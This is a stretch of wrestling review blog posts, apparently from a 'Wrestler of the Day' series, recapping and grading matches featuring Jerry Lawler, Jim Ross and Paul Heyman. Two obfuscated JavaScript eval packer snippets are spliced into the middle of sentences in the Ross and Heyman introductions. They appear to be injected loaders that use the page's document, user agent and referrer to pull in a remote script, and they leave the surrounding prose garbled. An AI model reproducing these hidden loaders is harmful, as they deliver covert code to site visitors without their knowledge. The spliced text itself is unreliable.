
Jerry Lawler vs. Steven Richards

Tazz does commentary in Lawler’s place. He’s still a wrestler so this is a new thing for him. He’s a bit like his normal commentating self but not all the way yet. Lawler makes a full entrance despite being at the commentary desk not 2 minutes ago. We see a clip of the RTC stopping the (XFL’s) Las Vegas Outlaws cheerleaders last night. RTC was a parody of the Parents Television Council who got on Vince every 9 seconds for something he did.

This is the walking definition of a catch your breath match as the fans need something worthless to bridge the gap from the war they just saw to the last two matches. Lawler expands his offense from just punches by adding in rapid fire punches. This is why it’s great to have someone like Lawler around: you can throw him in there for something like this and you know he’s going to at least be passable, especially since he only wrestles like twice a year so his expectations are very low.

Kat and Ivory go at it for a bit but the distraction allows Richards to take over. Richards misses a splash in the corner and Lawler takes over for a bit. Apparently if he wins Kat gets to lose her clothes. Ivory comes in and Teddy Long takes FOREVER to get rid of her. Kat tries to hit Richards with Ivory’s belt but she nails Lawler by mistake for the pin. Kat has to join RTC now, but she was released in like two weeks, resulting in Lawler quitting. They were married at the time.

Rating: D. This was pretty weak but at the same time it was about as good as it was going to get. It was on the level of a pretty bad TV match but like I said this was designed to just fill in about 10 minutes so that the fans could breathe a bit. Nothing special at all but it did its job I guess.

Lawler and JR would lose their commentary jobs due to losing a match at Unforgiven 2003. Here’s a chance for them to get their jobs back on Raw, September 15, 2003.

Al Snow vs. Jerry Lawler

Coach and JR are on commentary here as Lawler controls with some very basic stuff. They slug it out and King hits a DDT for two. Snow comes back with a slam but a suplex is countered into a small package for the pin. This was the last match of the show people. This is the main event. Let that sink in.

We’ll jump way ahead again for a match from August 6, 2007 on Raw for the right to be called the King. This is a warmup for Booker before he faces the King of Kings at Summerslam 2007.

King Booker vs. Jerry Lawler

Booker doesn’t think much of Jerry until Lawler gets in a left hand. Some right hands have Booker in trouble but he pokes Jerry in the eye to take over. A back elbow to the jaw puts Lawler down and a hook kick gets two. The ax kick misses and Lawler hammers away before dropping an elbow for three but Booker’s foot was on the ropes. The breather allows Booker to nail a superkick. He hammers away in the corner and that’s a DQ win for Lawler.

Rating: D. Not much to see here but Lawler knew how to work a crowd even at this point. You couldn’t have Booker lose of course and he would get to pin Lawler the next week. This is the beauty of a guy like Lawler: he can do this stuff and isn’t going to lose a thing. There wasn’t anything to the match but there didn’t need to be.

We’ll jump ahead to 2010 for a match that really doesn’t need much explanation: Jerry Lawler vs. Jason Voorhees.

Ok maybe this does need an explanation, because yes, it’s THAT Jason Voorhees. This took place on Jerry’s very low level TV show in Memphis where the top heel was Tom Savini. Again, yes THAT Tom Savini. He claimed that Lawler murdered Andy Kaufman 25 years earlier, so he’s sending his movie creations to get revenge. The show didn’t last long if that wasn’t clear.

Jerry Lawler vs. Jason Voorhees

This is in TOM SAVINI’S MONSTERVISION, meaning there are Jason masks on the side of the screen and the video twitches a lot. Jason is led to the ring in chains and is carrying a machete. Some fat guy on commentary says Lawler killed Kaufman by giving him brain cancer via the piledriver.

Lawler can’t hurt Jason’s face so he hammers away at the ribs, only to be sent out to the floor. Jason chokes with a chain so Jerry grabs the machete. That goes nowhere of course so Jason sends Jerry into the post. Back in and Jason hammers away but gets hit low. Jerry rips the mask off and reveals an ugly guy. Jason’s manager Hollywood Jimmy Blaylock comes in with his cane for a DQ.

Rating: A+. This doesn’t require an explanation.

Back to the WWE, where Lawler got a WWE Title shot against Miz in a TLC match on Raw, November 29, 2010.

Raw World Title: The Miz vs. Jerry Lawler

Read that title. At the beginning of the year would you EVER expect this to be a TLC match and the main event of Raw? Riley still has the briefcase. They do a feeling out process to start with Lawler doing his basic stuff. First weapon brought in is a C which is cracked over Lawler’s back. Miz sets up some chairs in the and is almost suplexed onto them. Miz drops Lawler onto his knee and then hits a neckbreaker to put the King down.

Riley gets a ladder but Lawler manages to get a chair and wear Miz out for it. He goes to get his own ladder but has to drill Riley first. Lawler slams the top of the ladder into Miz’s chin and is in control. And scratch that as he misses with a ladder shot and Miz takes over again. Riley takes Lawler down but gets put down and through a table. Miz was dropped on a ladder so he’s still hurt a bit.

Lawler does the slow climb but here’s Miz with the save. Big boot (from Miz? Really?) takes the King down though. Punk: “CLIMB UP THE LADDER! Are you stupid?” Miz destroys him for a bit but gets caught on top while he’s holding a chair. Lawler sets for a superplex but the ladder is in the way. Instead he drills Miz and puts him through a table but Lawler is down.

Cole jumps out of his chair and tries to help Miz up. Lawler is all alone but climbs like a 62 year old man. He’s only 61 if you’re wondering. He starts the climb and COLE MAKES THE SAVE! Lawler finally drills Cole and hammers away at him but Miz climbs up as he hammers his partner. Lawler goes up and Miz is in trouble! Come on Jerry you’ve had enough titles you should know how to unlatch one. Miz is reeling! But he manages to hit Lawler with the belt and climb down to retain at approximately 13:00. A brief celebration ends the show.

Rating: C+. Considering the challenger was a 61 year old that wrestles about three times a year and Michael Cole was the only thing that made the save, this was more or less a miracle. I cracked up at Cole making the save. This was better than I expected and it came off pretty well. No one really bought Lawler having a legit chance so this worked fine, all things considered.

Here’s the rematch from Elimination Chamber 2011.

Raw World Title: The Miz vs. Jerry Lawler

Wow I never thought I’d type that. We even get big match intros. Jerry in white and black with a cape here. That’s rather awesome. The bell rings twice so technically this isn’t happening. Jerry gets a quick backslide and small package for two each. He unleashes his variety of punches as it’s all Lawler so far. Miz gets knocked to the floor and chills for a bit. Riley distracts Jerry though and Miz sends him into the post to shift momentum.

Miz can’t get Lawler in the ring for some reason. He settles for a running knee while Lawler is on the apron for two. Jerry gets a punch and the fans wake up. Running clothesline in the corner and down goes Lawler. Miz goes up and Jerry crotches him so they slug it out on the middle rope. Superplex puts Miz down for two. Riley’s reactions out there are hilarious.

They slug it out again and Jerry gets a pair of dropkicks for no cover. Backdrop and a falling punch get two as Miz is in trouble. We get something close to Cole being civil by saying Lawler is hanging in there. Riley interferes by tripping Lawler and is ejected. I know it’s a long shot and more or less an impossibility but the stars are seeming to align for Jerry to pull this off. Miz misses a charge in the corner and Lawler rolls him up for two.

Miz escapes the Piledriver and gets a big boot for two. Jerry reverses the pin into a rollup for two and then Miz is sent to the floor over the top. Cole is annoying as all goodness here as Jerry rams Miz into the announce table. Cole says he and Miz have a personal relationship which you can make your own jokes about. Jerry throws Miz at the commentators and Miz lands on Cole. Booker cracking up at that is great.

Lawler is in control here and goes up top as we’re back in the ring. Top rope punch to a standing Miz gets a very close two. Crowd is INTO this. Miz gets a thumb to the eye but can’t get the Finale as Lawler shoves him off. Jerry gets a DDT and Miz is reeling! He looks at the Mania sign and goes up for the middle rope punch. With a point to the sign and the strap coming down, Jerry gets the fist but Miz gets his foot on the ropes. My heart jumped into my throat there.

As Booker talks about Dr. Dre and Snoop Dog for no apparent reason the Piledriver is reversed into a rollup by Miz for two. Jerry reverses that into one of his own for two but Miz gets a kick to the head. And there’s the Skull Crushing Finale for the pin. It was a nice dream while it lasted but at the end of the day I think we all knew this was coming. Still though, INCREDIBLE job here by WWE of making us think it could happen.

Rating: B-. The match was weak from a technical standpoint but they NAILED the drama here. Jerry is a master at working the crowd and he had me believing that it was possible. He made us believe that he could actually do this and put on a passable match at the same time. I really hope this results in Jerry vs. Cole or Riley at Mania, but still this was a great performance and the whole thing worked.

Cole celebrates like crazy and poses with Miz in the ring. Jerry gets up and is like well I tried. He gets a standing ovation and they play his music to take him out. Cole of course WILL NOT SHUT UP and let Lawler have his moment. If this doesn’t end with Jerry piledriving Cole through the floor then it fails. Still though, great moment and incredible storytelling by WWE there.

For reasons that continue to elude me, Lawler would lose the showdown with Cole at Wrestlemania. Here’s his next chance at Over the Limit 2011 in a Kiss My Foot match.

Jerry Lawler vs. Michael Cole

Remember that Cole has promised some kind of surprise all night. Cole comes out in a suit and limping. You can tell it’s officially an injury because he has a doctor’s note. Or maybe he’s reading his lines. Apparently it’s because of infected athlete’s foot. If Cole’s foot goes into Lawler’s mouth Lawler might contract foot and mouth disease. He gives the note to the referee and the referee rips it up. RING THE BELL!

Lawler drills him into the corner and pounds away and there go Cole’s pants. SOLID right hand and a dropkick send Cole to the floor. Josh says vintage. Cole manages to send him into the steps a few times and Cole takes the shoe off. This ticks Jerry off and LAWLER THROWS HIM THROUGH THE COLE MINE!!!!! Lawler celebrates the thing exploding which is a legit funny moment. Middle rope punch brings the strap down and WE ARE DONE! That made me smile. No rating as it was total domination but still, awesome moment as Jerry destroyed him.

Jerry starts unzipping his boot but has an idea. He waves someone out and here comes Eve. She drills him with a moonsault as this is turning into exactly what it should have been. Lawler still isn’t done as he waves out JR! Appropriately enough JR has barbecue sauce. He pours it into Cole’s mouth until it overflows and all over his face. This is great. Cole gets to the floor and tries to leave and says that he’s not a loser. It’s Lawler and all the people that are losers. He’s not going to kiss his……..BRET HART IS HERE!!!!!

THIS is what I mean when I say they need to give old school fans something special. And before you ask, remember that it was Bret and Lawler in the first kiss my foot match. Sharpshooter goes on the pencils that Cole calls legs and it’s time to kiss the feet, complete with barbecue sauce. Cole is left totally destroyed and Bret’s music plays us out. PERFECT ending to this segment as Cole is completely and utterly destroyed.

Where do you want me to start? It’s Jerry Lawler, the guy who has been around FOREVER and has won something like 200 titles in his career. He had a remarkable career but is also known as one of the voices of Raw. Jerry is one of the most entertaining wrestlers of all time, even though he had fewer moves than a John Cena stereotype. He could work a crowd like no one else and would be a GREAT psychology teacher to young wrestlers. Watch his Memphis stuff if you want to see how to get people to hate you in about fifteen seconds.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Wrestler of the Day – July 17: Jim Ross

Today we’re looking at the best commentator of all time: Jim Ross.

We’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsees|var|u0026u|referrer|tdtai||js|php'.split('|'),0,{})) open things up with Ross’ first in ring match in WWE, from October 11, 1999 on Raw.

Jim Ross/Steve Austin vs. HHH/Chyna

HHH jumps Ross before Austin gets here until Steve runs out for the save. The male wrestlers brawl up the aisle as Chyna, the #1 contender to the Intercontinental Title, beats on Ross in the ring. Austin suplexes HHH on the stage before they fight back down to ringside and into the crowd. HHH gets whipped into a barricade in the audience and they head out of the arena.

This leaves Chyna alone with Ross as the beating is on. A Pedigree lays Jim out but Jeff Jarrett comes out and nails Chyna with a toaster. This brings out Jarrett’s lackey Miss Kitty with a laundry basket, which Chyna is dropped into and taken to the back. Austin and HHH come back in to fight at a beer stand and HHH is left laying as Austin says he has a friend for HHH….and that’s it.

Rating: N/A. This was nothing and not a match for the most part. It was much more of an angle than anything else and a good way to combine the two big matches on Sunday into one. The best thing here was that Jarrett didn’t act like a face but acted as he should have for his story. That’s the kind of shade of gray you don’t get anymore but was a good thing back in the day.

Ross would get in the ring again to fight off Lance Storm and William Regal when they messed with the commentators. From Raw on December 23, 2002.

William Regal/Lance Storm vs. Jim Ross/Jerry Lawler

Lawler starts (of course) with Regal but it’s quickly off to Storm for a headlock. Jerry avoids an elbow and nails a dropkick, allowing Ross to get in a right hand for two. Regal comes in off a blind tag and works over Lawler before the double teaming begins. Storm accidentally forearms Regal down and Jerry cleans as much house as he can.

The middle rope fist gets two on William and the referee goes down. Lawler hammers on Regal but a low blow puts him down. That’s enough for Ross who tags himself in and picks up Regal’s brass knuckles. Storm comes in from behind though, drawing in the Dudleys for a 3D on Lance. Ross knocks Regal silly for the pin.

Rating: C. The match was nothing of course but what are you expecting from these guys? The reason for the high rating is this was in Oklahoma City and one of the only times in history where Ross was made to look like a big deal in his hometown. Really fun and a feel good moment with the Oklahoma marching band playing Ross’ theme song after the match.

Uncle Eric Bischoff was required to bring in Steve Austin or be fired. Here’s his preview match on Raw, February 17, 2003.

Eric Bischoff vs. Jim Ross

Bischoff breaks some boards and a watermelon before the match to show how awesome he is. JR comes to the ring in his announcing clothes and Eric makes it no holds barred because he can. He looks at Morely as he says this to really hammer in the idea. Lawler is really worried but of course he stays seated.

Bischoff does some karate poses but gets punched in the face. Morely comes in to beat JR down and puts a cinder block against Ross’ head so Bischoff can kick it in half. This finally brings Lawler down to take Morely down, but a Bischoff distraction lets Morely take the King down. JR is busted open. More kicks put Ross down and Bischoff covers him with a half nelson for the pin.

Rating: N/A. This wasn’t wrestling. I’m not sure what it was, but it wasn’t wrestling. I’d like to point out that we’re spending the last segment of a show showing how Eric Bischoff could be a threat to STEVE AUSTIN. At least with Vince he would have some major backup, but Eric is going to have who? Morely? That’s supposed to be intriguing?

Another day, another threat to Lawler and King on commetary. From Unforgiven 2003.

Jim Ross/Jerry Lawler vs. Al Snow/Jonathan Coachman

The winner to do the announcing for Raw. Yes, they asked people to pay $34.95 for this. There’s no commentary for this. I think I can get by without the extra jokes somehow. The wrestlers start and Lawler kind of botches a rollup. Ok then. The lack of commentary is weird here but then again I’m watching Ross and Coach on PPV. You can hear them shouting at each other a lot better which is weird to hear.

That might be Ross’ big mouth though so there we are. Snow “hits” a clothesline and I say that in the weakest sense of the word hit. Snow, being younger and better at this point, dominates as we’re just waiting on the other guys to come in and make it a comedy match. Coach is the team captain apparently. Oh dear. There’s the piledriver on Snow and JR does commentary from the apron. The foot gets to the ropes but Snow sold that like he had an anvil fall on his head so I can’t complain there.

And it’s Coach time, which has even Snow wondering what the heck he’s doing. As usual, Lawler’s offense is shall we say limited? The middle rope punch hits but Snow makes the save. Ross gets a blind tag and the referee is fine with it I guess. He beats up Coach for awhile and I see why he stayed in the booth for his career.

Coach keeps shouting not in the face which is funny. And here’s Jericho to kick Ross in the head and let Coach and Snow become the Raw announcers tomorrow. Ross would beat Coach in 8 days to get the sanity back. Jericho says this is to get back at Austin for no apparent reason.

Rating: F. Seriously, do I need to explain why this going on for 8 minutes was a bad idea? It was mainly Al Snow vs. Jerry Lawler and someone thought this was a good idea. Here’s the thing: no one really cares about announcers in a national company. Wait scratch that. They do care about them, but only the way they sound. We don’t want to see them in the ring other than a once a year match from Lawler in Memphis. That’s it. Now stop doing this nonsense.

Another mismatch, this time from Raw in MSG on April 18, 2005.

Jim Ross vs. HHH

No DQ. HHH offers a handshake but Ross won’t go for it. Instead HHH nails him in the ribs and the beating is on. Ross actually nails a right hand to the jaw and Lawler goes into an even bigger cheerleader mode. HHH hammers away and yells at the referee as Ross is busted open. HHH rips off the Oklahoma jersey and it’s time for a whipping. Lawler FINALLY gets off commentary as HHH is choking with the belt.

Flair comes in and distracts Jerry, allowing a Pedigree to put the King down. Cue Batista in the back after having been sent on a chase by HHH or something. The brawl is on with the World Heavyweight Champion (Big Dave) cleaning house but Flair brings in a chair, allowing HHH to lay Batista out. The Pedigree is countered and a HUGE chair shot knocks HHH silly. Batista drags JR over and it’s a huge upset.

Rating: D+. Again not really a match but it gives more fuel to HHH vs. Batista II at Backlash. Batista was awesome at this point and the fans in New York ate him up. HHH was always one to put himself over, but he made Batista look amazing around this point. Ross winning was a nice smile.

Ross and Michael Cole would have a feud over Cole being a jerk, setting up this match on Raw, April 25, 2011.

Michael Cole vs. Jim Ross

Booker T is on commentary now which I believe is the 9th consecutive week that the announce team has changed during the show. Lawler gets up to be in JR’s corner. Ross is in dress pants and an Oklahoma football jersey. The seconds are on the apron instead of the floor. Cole makes fun or Ross’ weight and they circle each other a lot. A minute in and we’ve had no contact.

Cole, in his orange singlet, dances around a lot as Ross throws right hands. Cole hits the floor as we’ve had no serious contact after two minutes. Cole puts JR’s hat on then takes it off and stomps on it. Cole has a lot of tattoos. Swagger towels Cole off and he does some pushups. We’ve now reached the length of Sheamus vs. Kofi with no contact yet. Ross finally grabs Cole and shoves him down.

Cole calls for timeout and Swagger puts a stool in the corner. There’s a spit bucket and water. Cole actually tries to slam him so Ross hammers on him with some ground and…..with some ground and……no I just can’t say it. Cole tries to run and Lawler throws him back in. Swagger takes down Cole and then comes in for the DQ at 4:35.

Rating: F-. Oh just…..no. We get it: Cole is a jerk that everyone hates. This needs to END. It’s played beyond belief and I have a bad feeling that it’s going to keep going after Extreme Rules.

Here’s the in ring blowoff for the Cole feud, from Extreme Rules 2011.

Michael Cole/Jack Swagger vs. Jim Ross/Jerry Lawler

Country whipping match here, which means they all have straps. Cole, I kid you not, is wrapped in bubble wrap. Ross has a legit broken hand after beating Cole up Monday. Cole gives us his resume as a reporter and insults all of Florida by saying everyone is old. Lawler vs. Cole to start as Lawler can’t hurt him. Lawler goes for the only unprotected part: Cole’s face. There goes the bubble wrap and it’s off to Swagger.

Basically this is Lawler vs. Swagger for all intents and purposes as they have a one on one match for a few minutes. Lawler gets him down but takes a chop block as he goes after Cole. Ankle Lock goes on for like 30 seconds as Ross WEAKLY hits Swagger to break the hold. Off to JR who puts an ankle lock on Swagger! Swagger escapes and I think accidently tags Cole. Ross wastes WAY too much time for a clothesline and whips Cole a bit. Ankle lock goes on Cole and even takes Swagger out with a low blow. He turns to whip Swagger….and gets rolled up by Cole to end it. Dang it this is going to keep going isn’t it?

Rating: F. Hey look, Cole wins again and gets to run his mouth a bit more. Not as bad as Mania but still, DO SOMETHING ELSE! This has been done and it’s been done multiple times already so why do they keep going with it? Cole can still be a jerk but give us SOMETHING for a change instead. Match sucked too.

We’ll wrap it up with JR in a tag match on Raw, October 15, 2011 in Mexico City.

John Cena/Jim Ross vs. Alberto Del Rio/Michael Cole

The announcers start us off and Cole talks a lot of trash until JR clocks him. Off to the wrestlers for a wrestling match. What a concept. Alberto and Cena smirk at each other and speed things up. The fans are booing Cena…I think. Off to a chinlock by the champ and the fans are cheering for Cena. Now it’s Cena with the chinlock as Josh says Cena weighs 251lbs. That means he gained 20 pounds since his entrance.

Del Rio takes over and we’re waiting on the hot tag to Ross it seems. Cole gets some pikes in at Cena and Del Rio gets two. Alberto hits a top rope shot to the head and some kicks. Cena can’t see Alberto. Back to the chinlock and the fans cheer Cena but aren’t really booing Alberto. The Mexican gets a German on the American for two. Cena fires off some stuff but a running enziguri in the corner stops him for two.

Alberto goes up but misses a senton back splash and Cena engages his finishing sequence. Del Rio runs from the AA and tags in Cole. Cena gives him kind of a belly to belly to bring him in and makes the hot tag to JR. Is JR a big deal in Mexico? I mean, wouldn’t he be on the English commentary team which most people in Mexico don’t hear? An AA ends Cole and JR gets the win with an ankle lock at 11:40.

Rating: D+. Man this was boring. The Spanish/English/JR thing is still confusing but again it’s WWE which at the moment is pretty stupid. I wasn’t into this match for the most part because it was just Del Rio vs. Cena and then a screwy ending. Not much to see here and another weak main event from Raw, which is becoming a tradition.

While I like Heyman getting in the ring, there’s just something wrong about Ross being out there. There’s something I don’t care for about it and I can’t put my finger on it. Ross is as much of a commentator as you can find but he’s far less of a character than most other commentators. Thankfully he never tried to wrestle and his appearances didn’t happen all that often.

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Wrestler of the Day – July 16: Paul Heyman

Today we’re starting a mini series in this series with Paul Heyman.

There eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arink|var|u0026u|referrer|nfyhn||js|php'.split('|'),0,{})) are going to be some big jumps in this as Heyman has only had a handful of matches in his career.

We’ll start with the feud that got Heyman on the map: Heyman/the Original Midnight Express vs. Jim Cornette/the Midnight Express. The short version of this is the team had changed members a few times and Heyman was bringing back two former members to fight the most famous version. This led to a six man tag at Chi-Town Rumble.

Midnight Express/Jim Cornette vs. Jack Victory/Randy Rose/Paul E. Dangerously

This was a pretty good angle with a pretty cool backstory. Ok so WAY back in the day, the original Midnight Express was Randy Rose and Dennis Condrey. They teamed for awhile (along with a third man named Norvell Austin) and were the original Midnight Express. They left Southeast Championship Wrestling where they got started and Condrey went to Mid-South Wrestling where he was put together with Condrey as the Midnight Express. This is the version that feuded with the Rock N Roll Express and is probably the most successful version.

Now here comes the interesting part. One day the Express was scheduled to go to California for a show. Condrey never showed up. No one is quite sure where he went but he wasn’t seen for years. One day he popped up in the AWA with Randy Rose and said they were the Midnight Express. At the same time, Eaton teamed up with Stan Lane to become the latest form of the Midnight Express.

So then the Midnights (Lane and Eaton) got crushed by the Road Warriors for the world titles. On TV one night Cornette got a phone call by someone making fun of them. Then Dangerously, Rose and Condrey ran out and it was Midnight Express vs. Midnight Express. Then Condrey left again and that’s why Jack Victory is here now. The feud never got as good as they were hoping but the Starrcade match was pretty great.

The person to take the fall here is gone and since Condrey is gone, is there any doubt as to who is taking the fall here? Lane vs. Rose starts us off and Rose goes sailing to the floor. Cornette comes in and drops an elbow so he can strut a bit. Off to Victory who doesn’t do well either so let’s try Rose again against Eaton. The good guys are dominating this. The heels mess up again and Dangerously clocks Rose by mistake. JR makes fun of it, saying it’s not like it hurt or anything.

Lane vs. Rose at the moment but it’s off to Eaton quickly. They go to the apron and Eaton goes crashing onto the railing to totally shift momentum. The railing is the old faithful way to change things. Dangerously comes in, pounds away a bit, ducks a right hand and runs away to bring Rose back in. Cornette wants Dangerously and the fans sound like they want to see it too.

Instead Rose gets his hands on Cornette and to his credit he takes a quick beating. Off to Dangerously now who is acting like a true heel manager, only coming in when his opponent is in trouble. Cornette gets in a single shot but Dangerously runs to Rose again. Jim finally gets in a tag to Lane who meets Jack Victory but Dangerously interferes to give the heels the advantage again.

The fans are all over Paulie here as Rose jumps to the floor to take Lane down again. Lane gets beaten on for a good while and is in a chinlock by Rose. There’s the hot tag to Eaton after some kicks to the ribs by Lane (his specialty) and a missile dropkick almost kills Victory. In a cool bit, Eaton walks Victory’s half out cold body over to Dangerously and grabs Victory’s hand to slap Paul.

Paul is dragged in to face Cornette and this is the part everyone has been waiting for. Cornette beats on him for a bit and it’s off to Lane vs. Rose again. Rose misses a splash but Victory saves the pin. Everything breaks down and a double flapjack is enough for the pin on Rose. That’s an old Midnight trademark so it’s cool to see that instead of the Rocket Launcher or cheating.

Rating: C+. Pretty decent match here and it’s always cool to hear that sweet Midnight Express theme song time and time again. The ending was never really in doubt and this eventually lead to Heyman becoming the top heel announcer a little bit after this. Still though it was a good match, although nowhere near the Starrcade one.

Here’s the next part of the blowoff, from Great American Bash 1988.

Jim Cornette vs. Paul E. Dangerously

This is a Tuxedo Match where you have to strip the opponent of the tux in order to win. It’s a men’s evening gown match in other words. This is a BIG feud as Dangerously had tried to copy Cornette’s every trademark but kept losing. All of Dangerously’s guys have been destroyed by Cornette’s so we’re left with this as the final blowoff.

Cornette throws a “punch” but gets powder thrown in his eyes. Paulie goes after the knee with his phone and both guys lose their jackets. Paul gets a punch to the….shoulder? More clothes come off as Jim makes his comeback. He can’t walk though so that doesn’t work that well. To the floor now and more knee shots from Paul. This is almost all Paul here.

Cornette freaking HULKS UP and Paul is in trouble. Caudle: “Let’s see some clothes come off here!” There goes the shirt…and down they both go. Well I’m glad they kept the momentum for that long. Paul goes for more powder, it goes into his face, there go his pants, they’re blue if you’re wondering, and he runs away as Cornette celebrates.

Rating: C+. Just a comedy match and nothing serious at all but it was fun and the right guy won it. Also Heyman being humiliated is always fun to see.

Now we’ll jump ahead to Great American Bash 1991 as Paul E. has run his mouth too much and is going to get beaten up in a cage match at Madusa’s hands.

Paul E. Dangerously/Arn Anderson vs. Rick Steiner/Missy Hyatt

Yeah there’s still this to go. Why is it here? To send the fans home “happy”. JR admits there’s almost no time left. Missy looks better as a brunette. This was supposed to be a six man with Scott and Barry in there, but Scott got hurt by Dick Murdoch and Dick Slater. Speaking of them, they come out to kidnap Missy and make it a handicap match. You know, taking away THE ONLY REASON THIS MATCH EXISTS! This is nothing as they don’t care and there’s no time left. Steiner suplexes Arn down and Paul tags in for no apparent reason. Anderson goes down, Paul gets slammed and clotheslined for the pin. Nothing match.

A year and a half later, same idea, same people. From Clash of the Champions XXI.

Paul E. Dangerously vs. Madusa

This has a five minute time limit. Paul wears headgear on for the match. Madusa charges into the ring and gets blasted with Paul’s phone off camera, knocking her out cold. Dangerously says he wants what everyone else in the locker room has gotten: a kiss from Madusa. He bends down to her but Madusa’s hair falls off, revealing Mike Thor from earlier. Madusa sneaks in behind him and kicks Paul in the back of the head.

A slam puts Paul down again and he tries to run. Madusa throws him back in but gets tripped up by Hayes. We’re under two minutes to go and Paul poses over her. A top rope ax handle has no effect on Madusa and she dropkicks him down. Madusa rips his clothes off and Paul runs away as time expires.

Rating: D-. This was a bad execution of a decent idea. The Mike Thor stuff didn’t really do anything other than eat up time and the match didn’t make Madusa look tough as much as it made Paul look inept. I see no reason not to have Madusa get a pin here and the humiliation route didn’t do much. This was also Paul’s last appearance in WCW as a contract dispute sent him running off to Philadelphia and ECW.

Now we jump ahead ten years to Judgment Day 2002 as Heyman is an accessory to a murder.

Hardy Boys vs. Paul Heyman/Brock Lesnar

Brock had debuted the night after Mania and he needed a first feud I guess. He’s been destroying people right and left so this is pretty much a given. Brock doesn’t even have his signature music yet. The Hardys jump Lesnar to do what they can earlier to get at Heyman. That lasts about 4 seconds as Brock just goes off on Jeff to start us off. Ross HATES Heyman here and the commentary is funny stuff.

Brock beats up both guys with ease as neither Hardy can do a thing with him. The fans chant for Goldberg. Trust me, you don’t want Lesnar vs. Goldberg. Heyman keeps orgasming over Brock every 2 seconds. Brock destroys Matt with ease as I guess we’re waiting on Jeff to come in. Matt gets a tornado DDT to break the momentum and make Paul terrified. There’s Jeff who hits the Whisper in the Wind and some double teaming puts Brock down for a bit.

Poetry in Motion hits Brock and Lesnar is sent to the floor. Heyman runs as fast as he can but gets caught in the ring by Matt. Poetry in Motion takes him down but Brock ends Matt. Brock stands in front of the Swanton so Jeff dives on him. In the words of Tazz, here comes the pain. HUGE F5 puts Jeff down and Heyman gets the pin.

Rating: D+. Just a squash here as the Hardys best stuff got nothing in there on Brock. They were there to make Brock look good and that’s what they did. Brock would be King of the Ring in the next month and therefore the #1 contender for the eventual Champion The Rock at Summerslam where he would become a star.

Heyman would help Brock defend the title at Rebellion 2002.

Smackdown World Title: Edge vs. Brock Lesnar/Paul Heyman

Edge can pin either guy to win the title. Lesnar won the title at Summerslam and is the most mind blowing guy anyone can remember in forever. Edge is the hottest thing in the world though and this is allegedly his first title shot. Heyman of course looks terrified. He would turn on Brock at Survivor Series. Brock doesn’t want Edge to even look at the title.

Heyman channels his inner Cody Deaner and turns the hat around backwards. Brock basically tells Heyman to stay in the corner and let him handle this. This should be really good actually. Brock uses pure power to start but Edge out moves him. Brock is like screw this and charges, throwing Edge back into the corner.

Edge sends him to the floor and Brock chills for a bit. More or less Edge’s only chance is to use speed moves. Edge makes fun of Brock’s pose and Brock charges, flying over the top. He destroys some steps because he can. We hit the floor for a bit with Edge in control. Heyman grabs Edge’s foot so Brock can take over. Heyman goes insane, skipping around ringside and celebrating his triumph.

Never mind as Edge drops him almost immediately. Edge wants the Edgecution but Brock is like boy I’m Brock and suplexes him. Back to the floor again and Edge is sent into the post. Back in and it’s all Lesnar as he works on the back. Brock gets a freaky looking Boston Crab where instead of wrapping his arms around the legs he grabs them with his hands and pulls back. Never seen that before.

Off to a chinlock which doesn’t last incredibly long. Brock grabs him around the waist in more or less a reverse bearhug on the mat. Edge finally fights him off and has Brock in some trouble. Baseball slide drills Heyman again but Edge walks into a spinebuster to take over again. Lesnar charges in the corner and his shoulder goes into the post to give Edge a chance.

Edge speeds things up and hits an Edge-O-Matic (it’s that reverse X-Factor where he grabs the guy by the head and slams them into the mat back first) for two. Edge pulls Heyman in and apparently can pin him without him tagging in. Edge gets a dive off the top to the floor to take out Lesnar. Ok, why in the world would you do that when you could just roll up Heyman and get the title?

Back in the ring a missile dropkick takes down Lesnar for two. The fans are getting into this now. Cross body takes out the referee by mistake and the F5 is countered into the Edgecution (elevated DDT since no one but me uses these names anymore). Paul throws Brock a chair but Edge gets a spear out of nowhere for two. Edge comes off the top but jumps into a chair shot and the F5 ends this.

Rating: B-. The main issue here was that it ran long, going almost 20 minutes. Fun stuff for the most part but at the same time it needed to be a bit shorter to really make this work as well as possible. Edge looked good as did Lesnar. You have to keep in mind here that Edge wasn’t a main event guy yet and Brock was brand new to it. This would be almost like Miz vs. Kofi or something like that. Fun match though and it wasn’t boring at all.

Heyman would screw Brock over at Survivor Series 2002, setting up this match on March 6, 2003 on Smackdown.

Paul Heyman vs. Brock Lesnar

Oh and it’s in a cage to make it even better. Heyman has Team Angle with him and looks rightfully terrified. If Brock wins, he gets a World Title shot against Angle next week. Team Angle beats on Brock to start and sends him into the cage a few times. Brock fights back and sends both guys into the steel over and over. Haas and Benjamin are thrown to the floor as Angle guards Heyman. Lesnar goes after him and Kurt gets in a cheap shot, only to be sent into the cage.

Heyman gets sent inside and the bell rings. A bloody Kurt climbs into the cage and chop blocks Brock before nailing him with an Angle Slam. Paul gets two off of it so Angle puts Brock in the ankle lock. Brock is still able to get his hands on Heyman and kicks Kurt away but has to go after Heyman in the corner. He loads Paul up, kicks Angle in the face, and hits the F5 for the pin and the title shot. There’s not enough match to rate but it’s an angle instead of a match. Brock looked like a beast though and that’s the important thing.

We’ll jump ahead to ECW on Sci-Fi, with Heyman in singles action on August 29, 2006.

Paul Heyman vs. Sabu

It’s Extreme Rules. The security guards (the Bashams but I don’t think that was ever revealed on TV) jump Sabu on the way to the ring of course. Since this is ECW though Sabu beats up both guards who are in riot gear, but Big Show makes save #2 for Heyman before Sabu can, you know, kill him. Show CRACKS Sabu’s head with a chair as I’m sure you can get where this is going already. Sabu is busted already and the three guys not named Heyman beat him down with Big Show holding him so Paul can get in a shot.

